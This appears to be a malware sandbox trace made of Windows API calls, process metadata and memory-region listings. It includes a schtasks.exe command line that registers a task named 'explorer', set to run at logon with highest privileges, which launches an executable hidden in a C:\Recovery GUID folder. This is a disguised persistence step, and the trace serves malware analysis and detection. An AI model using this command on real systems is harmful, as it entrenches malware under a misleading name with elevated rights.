[0138.089] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd30) returned 1 [0138.089] GetProcessHeap () returned 0x250000 [0138.089] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd30) returned 0x20 [0138.089] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd30 | out: hHeap=0x250000) returned 1 [0138.089] GetProcessHeap () returned 0x250000 [0138.089] GetProcessHeap () returned 0x250000 [0138.089] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d5a0) returned 1 [0138.089] GetProcessHeap () returned 0x250000 [0138.089] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d5a0) returned 0x16 [0138.090] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d5a0 | out: hHeap=0x250000) returned 1 [0138.090] GetProcessHeap () returned 0x250000 [0138.090] GetProcessHeap () returned 0x250000 [0138.090] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd00) returned 1 [0138.090] GetProcessHeap () returned 0x250000 [0138.090] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd00) returned 0x20 [0138.090] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd00 | out: hHeap=0x250000) returned 1 [0138.090] GetProcessHeap () returned 0x250000 [0138.090] GetProcessHeap () returned 0x250000 [0138.090] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d5c0) returned 1 [0138.090] GetProcessHeap () returned 0x250000 [0138.090] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d5c0) returned 0x16 [0138.090] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d5c0 | out: hHeap=0x250000) returned 1 [0138.090] GetProcessHeap () returned 0x250000 [0138.090] GetProcessHeap () returned 0x250000 [0138.090] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ccd0) returned 1 [0138.090] GetProcessHeap () returned 0x250000 [0138.090] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ccd0) returned 0x20 [0138.091] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ccd0 | out: hHeap=0x250000) returned 1 [0138.091] GetProcessHeap () returned 0x250000 [0138.091] GetProcessHeap () returned 0x250000 [0138.091] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x289c50) returned 1 [0138.091] GetProcessHeap () returned 0x250000 [0138.091] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x289c50) returned 0x82 [0138.091] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x289c50 | out: hHeap=0x250000) returned 1 [0138.091] GetProcessHeap () returned 0x250000 [0138.091] GetProcessHeap () returned 0x250000 [0138.091] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cca0) returned 1 [0138.091] GetProcessHeap () returned 0x250000 [0138.091] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cca0) returned 0x20 [0138.091] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cca0 | out: hHeap=0x250000) returned 1 [0138.091] GetProcessHeap () returned 0x250000 [0138.092] GetProcessHeap () returned 0x250000 [0138.092] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d600) returned 1 [0138.092] GetProcessHeap () returned 0x250000 [0138.092] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d600) returned 0xe [0138.092] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d600 | out: hHeap=0x250000) returned 1 [0138.092] GetProcessHeap () returned 0x250000 [0138.092] GetProcessHeap () returned 0x250000 [0138.092] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc70) returned 1 [0138.092] GetProcessHeap () returned 0x250000 [0138.092] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cc70) returned 0x20 [0138.092] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc70 | out: hHeap=0x250000) returned 1 [0138.092] GetProcessHeap () returned 0x250000 [0138.092] GetProcessHeap () returned 0x250000 [0138.092] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d620) returned 1 [0138.092] GetProcessHeap () returned 0x250000 [0138.092] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d620) returned 0xa [0138.092] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d620 | out: hHeap=0x250000) returned 1 [0138.092] GetProcessHeap () returned 0x250000 [0138.092] GetProcessHeap () returned 0x250000 [0138.092] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc40) returned 1 [0138.092] GetProcessHeap () returned 0x250000 [0138.092] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cc40) returned 0x20 [0138.093] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc40 | out: hHeap=0x250000) returned 1 [0138.093] GetProcessHeap () returned 0x250000 [0138.093] GetProcessHeap () returned 0x250000 [0138.093] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d640) returned 1 [0138.093] GetProcessHeap () returned 0x250000 [0138.093] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d640) returned 0xc [0138.093] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d640 | out: hHeap=0x250000) returned 1 [0138.093] GetProcessHeap () returned 0x250000 [0138.093] GetProcessHeap () returned 0x250000 [0138.093] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc10) returned 1 [0138.093] GetProcessHeap () returned 0x250000 [0138.093] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cc10) returned 0x20 [0138.093] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc10 | out: hHeap=0x250000) returned 1 [0138.093] GetProcessHeap () returned 0x250000 [0138.093] GetProcessHeap () returned 0x250000 [0138.094] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba30) returned 1 [0138.094] GetProcessHeap () returned 0x250000 [0138.094] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ba30) returned 0x18 [0138.094] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba30 | out: hHeap=0x250000) returned 1 [0138.094] GetProcessHeap () returned 0x250000 [0138.094] GetProcessHeap () returned 0x250000 [0138.094] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265a20) returned 1 [0138.094] GetProcessHeap () returned 0x250000 [0138.094] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265a20) returned 0x20 [0138.094] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265a20 | out: hHeap=0x250000) returned 1 [0138.094] GetProcessHeap () returned 0x250000 [0138.094] GetProcessHeap () returned 0x250000 [0138.094] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265a50) returned 1 [0138.094] GetProcessHeap () returned 0x250000 [0138.094] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265a50) returned 0x20 [0138.094] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265a50 | out: hHeap=0x250000) returned 1 [0138.094] GetProcessHeap () returned 0x250000 [0138.094] GetProcessHeap () returned 0x250000 [0138.095] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265a80) returned 1 [0138.095] GetProcessHeap () returned 0x250000 [0138.095] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265a80) returned 0x20 [0138.095] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265a80 | out: hHeap=0x250000) returned 1 [0138.095] GetProcessHeap () returned 0x250000 [0138.095] GetProcessHeap () returned 0x250000 [0138.095] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265ab0) returned 1 [0138.095] GetProcessHeap () returned 0x250000 [0138.095] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265ab0) returned 0x20 [0138.095] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265ab0 | out: hHeap=0x250000) returned 1 [0138.095] GetProcessHeap () returned 0x250000 [0138.095] GetProcessHeap () returned 0x250000 [0138.095] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba50) returned 1 [0138.095] GetProcessHeap () returned 0x250000 [0138.095] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ba50) returned 0x18 [0138.095] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba50 | out: hHeap=0x250000) returned 1 [0138.095] GetProcessHeap () returned 0x250000 [0138.095] GetProcessHeap () returned 0x250000 [0138.096] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265ae0) returned 1 [0138.096] GetProcessHeap () returned 0x250000 [0138.096] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265ae0) returned 0x20 [0138.096] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265ae0 | out: hHeap=0x250000) returned 1 [0138.096] GetProcessHeap () returned 0x250000 [0138.096] GetProcessHeap () returned 0x250000 [0138.096] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265b70) returned 1 [0138.096] GetProcessHeap () returned 0x250000 [0138.096] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265b70) returned 0x20 [0138.096] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265b70 | out: hHeap=0x250000) returned 1 [0138.097] GetProcessHeap () returned 0x250000 [0138.097] GetProcessHeap () returned 0x250000 [0138.097] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265bd0) returned 1 [0138.097] GetProcessHeap () returned 0x250000 [0138.097] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265bd0) returned 0x20 [0138.097] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265bd0 | out: hHeap=0x250000) returned 1 [0138.097] GetProcessHeap () returned 0x250000 [0138.097] GetProcessHeap () returned 0x250000 [0138.097] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265c30) returned 1 [0138.097] GetProcessHeap () returned 0x250000 [0138.097] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265c30) returned 0x20 [0138.098] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265c30 | out: hHeap=0x250000) returned 1 [0138.098] GetProcessHeap () returned 0x250000 [0138.098] GetProcessHeap () returned 0x250000 [0138.098] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265c60) returned 1 [0138.098] GetProcessHeap () returned 0x250000 [0138.098] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265c60) returned 0x20 [0138.098] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265c60 | out: hHeap=0x250000) returned 1 [0138.098] GetProcessHeap () returned 0x250000 [0138.098] GetProcessHeap () returned 0x250000 [0138.098] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba70) returned 1 [0138.098] GetProcessHeap () returned 0x250000 [0138.098] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ba70) returned 0x18 [0138.098] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba70 | out: hHeap=0x250000) returned 1 [0138.099] GetProcessHeap () returned 0x250000 [0138.099] GetProcessHeap () returned 0x250000 [0138.099] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265ba0) returned 1 [0138.099] GetProcessHeap () returned 0x250000 [0138.099] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265ba0) returned 0x20 [0138.099] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265ba0 | out: hHeap=0x250000) returned 1 [0138.112] GetProcessHeap () returned 0x250000 [0138.112] GetProcessHeap () returned 0x250000 [0138.112] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26b9f0) returned 1 [0138.112] GetProcessHeap () returned 0x250000 [0138.113] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26b9f0) returned 0x18 [0138.113] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26b9f0 | out: hHeap=0x250000) returned 1 [0138.113] exit (_Code=0) Thread: id = 132 os_tid = 0xf64 Process: id = "24" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x411b2000" os_pid = "0xf68" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"explorer\" /sc ONLOGON /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2549 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2550 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2551 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2552 start_va = 0x80000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 2553 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2554 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2555 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2556 start_va = 0xffeb0000 end_va = 0xffef7fff monitored = 1 entry_point = 0xffed966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2557 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2558 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2559 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2560 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2561 start_va = 0x100000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2562 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2563 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2564 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2565 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2566 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2567 start_va = 0x100000 end_va = 0x166fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2568 start_va = 0x240000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2569 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2570 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2571 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2572 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2573 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2574 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2575 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2576 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2577 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2578 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2579 start_va = 0x340000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 2580 start_va = 0x340000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 2581 start_va = 0x4f0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 2582 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2583 start_va = 0x500000 end_va = 0x687fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 2584 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2585 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2586 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2587 start_va = 0x690000 end_va = 0x810fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 2588 start_va = 0x820000 end_va = 0x1c1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 2589 start_va = 0x50000 end_va = 0x61fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2590 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2591 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 2592 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2593 start_va = 0x1c20000 end_va = 0x1eeefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2594 start_va = 0x170000 end_va = 0x1ecfff monitored = 0 entry_point = 0x17cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2595 start_va = 0x170000 end_va = 0x1ecfff monitored = 0 entry_point = 0x17cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2596 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2597 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2598 start_va = 0x1ef0000 end_va = 0x203ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 2599 start_va = 0x2040000 end_va = 0x211efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002040000" filename = "" Region: id = 2600 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2601 start_va = 0x2210000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 2602 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2604 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2605 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 2606 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2607 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 2608 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2609 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2612 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 133 os_tid = 0xf6c [0137.812] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xffe00 | out: lpSystemTimeAsFileTime=0xffe00*(dwLowDateTime=0x210e5e60, dwHighDateTime=0x1d8a92a)) [0137.812] GetCurrentProcessId () returned 0xf68 [0137.812] GetCurrentThreadId () returned 0xf6c [0137.812] GetTickCount () returned 0x1387d50 [0137.812] RtlQueryPerformanceCounter (in: lpPerformanceCount=0xffe08 | out: lpPerformanceCount=0xffe08*=2061667546510) returned 1 [0137.813] GetModuleHandleW (lpModuleName=0x0) returned 0xffeb0000 [0137.814] __set_app_type (_Type=0x1) [0137.814] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffed972c) returned 0x0 [0137.814] __wgetmainargs (in: _Argc=0xffef1240, _Argv=0xffef1250, _Env=0xffef1248, _DoWildCard=0, _StartInfo=0xffef125c | out: _Argc=0xffef1240, _Argv=0xffef1250, _Env=0xffef1248) returned 0 [0137.815] _onexit (_Func=0xffee2ab0) returned 0xffee2ab0 [0137.815] _onexit (_Func=0xffee2ac4) returned 0xffee2ac4 [0137.815] _onexit (_Func=0xffee2afc) returned 0xffee2afc [0137.815] _onexit (_Func=0xffee2b58) returned 0xffee2b58 [0137.815] _onexit (_Func=0xffee2b80) returned 0xffee2b80 [0137.816] _onexit (_Func=0xffee2ba8) returned 0xffee2ba8 [0137.816] _onexit (_Func=0xffee2bd0) returned 0xffee2bd0 [0137.816] _onexit (_Func=0xffee2bf8) returned 0xffee2bf8 [0137.816] _onexit (_Func=0xffee2c20) returned 0xffee2c20 [0137.816] _onexit (_Func=0xffee2c48) returned 0xffee2c48 [0137.816] _onexit (_Func=0xffee2c70) returned 0xffee2c70 [0137.817] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0137.817] WinSqmIsOptedIn () returned 0x0 [0137.818] GetProcessHeap () returned 0x240000 [0137.818] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25b9d0 [0137.818] SetLastError (dwErrCode=0x0) [0137.819] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0137.819] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0137.819] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0137.819] VerifyVersionInfoW (in: lpVersionInformation=0xff5c0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xff5c0) returned 1 [0137.819] GetProcessHeap () returned 0x240000 [0137.819] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25b9f0 [0137.819] lstrlenW (lpString="") returned 0 [0137.819] GetProcessHeap () returned 0x240000 [0137.819] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x2) returned 0x25ba10 [0137.819] GetProcessHeap () returned 0x240000 [0137.819] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255960 